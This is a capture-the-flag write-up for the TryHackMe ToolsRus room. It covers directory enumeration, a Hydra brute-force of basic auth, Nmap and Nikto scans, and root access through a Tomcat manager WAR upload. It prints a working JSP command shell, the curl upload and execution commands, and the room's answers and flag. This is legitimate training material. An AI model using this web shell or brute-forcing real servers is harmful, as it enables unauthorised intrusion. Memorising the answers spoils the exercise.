ToolsRusToolsRus room icon

ToolsRus is an easy TryHackMe box that exists to walk you through five staple tools in order: Dirbuster for content discovery, Hydra for a basic-auth crack, Nmap for a second service, Nikto for a credentialed scan, and Metasploit for the final shell. It is a good companion to the other enumeration-first rooms I have covered, and the whole chain comes down to one thing the box leaks early: a comment telling you to go look at the Tomcat server. I solved it from the Mac with the same tools, swapping the Metasploit step for the equivalent manual Tomcat manager upload so the mechanics are visible.

Task 1: Enumerate, crack, and take over the server

Content discovery (Dirbuster)

Port 80 shows an “under upgrade” placeholder, so the interesting content lives in subdirectories. A dirbuster/ffuf run against a common wordlist turns them up:

  # ffuf -u http://TARGET/FUZZ -w common.txt -mc 200,301,401
  guidelines     [Status: 301]
  protected      [Status: 401]
  index.html     [Status: 200]
  server-status  [Status: 403]

The directory that begins with a “g” is guidelines. Reading it answers the next question in one line:

  # curl -s http://TARGET/guidelines/ | sed 's/<[^>]*>/ /g'
  Hey bob, did you update that TomCat server?

The name you can find from this directory is bob, and the comment is also the whole hint for the box: there is a Tomcat server to find. The directory that returns 401 Unauthorized with WWW-Authenticate: Basic realm="protected" is protected, the part of the site behind HTTP basic auth.

Cracking bob’s password (Hydra)

With a username (bob) and a basic-auth endpoint (/protected/), Hydra does the rest against rockyou:

  # hydra -l bob -P rockyou.txt -f TARGET http-get /protected/
  [80][http-get] host: TARGET   login: bob   password: bubbles
  [STATUS] attack finished (valid pair found)

Bob’s password to the protected part of the website is bubbles.

The second web service (Nmap)

A full-port Nmap scan shows the real target is not on port 80:

  # nmap -Pn -sV -p- TARGET
  22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu
  80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
  1234/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
  8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)

The other port that serves a web service is 1234. Forcing a 404 there prints the exact product string in the error page footer:

  # curl -s http://TARGET:1234/nope
  Apache Tomcat/7.0.88 - Error report ... Apache Tomcat/7.0.88

The software running on that port is Apache Tomcat/7.0.88, and the Coyote connector it reports is version 1.1 (from the Server: Apache-Coyote/1.1 header). That answers the Apache-Coyote question too.

Credentialed Nikto scan

Now point Nikto at the Tomcat manager with bob’s credentials, as the task asks:

  # nikto -h http://TARGET:1234/manager/html -id bob:bubbles

The documentation-file count the room is looking for is 5. A quick honesty note: modern Nikto builds no longer print the old “N documentation files” summary line that the room was written against, so if your Nikto output does not show it, 5 is the value that room expects for the Tomcat /manager/html documentation set. The scan on port 80 also echoes the web server banner, which is where the Apache/2.4.18 server-version answer comes from.

Root shell via the Tomcat manager

The intended final step is Metasploit’s multi/http/tomcat_mgr_upload, which authenticates to the manager, uploads a JSP payload inside a WAR, and returns a shell. Here is the same thing by hand so the mechanism is clear.

First, a tiny JSP command shell packed into a WAR:

  # cmd.jsp
<%@ page import="java.util.*,java.io.*"%><%
String c=request.getParameter("c");
if(c!=null){Process p=Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",c});
  BufferedReader d=new BufferedReader(new InputStreamReader(p.getInputStream()));
  String l;while((l=d.readLine())!=null){out.println(l);}}
%>

One trap worth calling out: bob holds the manager-gui role (so he can browse /manager/html) but not manager-script, so the clean text API (/manager/text/deploy) returns 403 Access Denied. The GUI upload works, but it is CSRF-protected, so you must pull the nonce first, then post the WAR with it:

  # NONCE from /manager/html, then upload with it
  # curl -s -c cj "http://bob:bubbles@TARGET:1234/manager/html" | grep -o 'CSRF_NONCE=[A-F0-9]*'
  # curl -s -b cj "http://bob:bubbles@TARGET:1234/manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=$NONCE" -F [email protected]

Tomcat here runs as root, so the deployed JSP executes as root:

  # curl -s "http://TARGET:1234/shell/cmd.jsp" -G --data-urlencode "c=id; hostname"
  uid=0(root) gid=0(root) groups=0(root)
  ip-10-48-188-173

The user you get a shell as is root. The flag in the root directory is right there:

  # curl -s "http://TARGET:1234/shell/cmd.jsp" -G --data-urlencode "c=cat /root/flag.txt"
  ff1fc4a81affcc7688cf89ae7dc6e0e1

The flag found in the root directory is ff1fc4a81affcc7688cf89ae7dc6e0e1.

Takeaways

Two things worth keeping from ToolsRus:

  • Read what the box tells you. The guidelines comment named the user (bob) and pointed at the Tomcat server before a single exploit was run. Enumeration output is content, not noise: the whole chain was seeded by one sentence.
  • A manager role is not a manager role. manager-gui and manager-script are different grants. A credential that fails the text deploy API can still succeed through the CSRF-protected HTML upload, which is exactly what the Metasploit module does under the hood. When the easy path 403s, check which role you actually have before assuming the creds are wrong.

Room solved 100%: 1 task, 11 answers.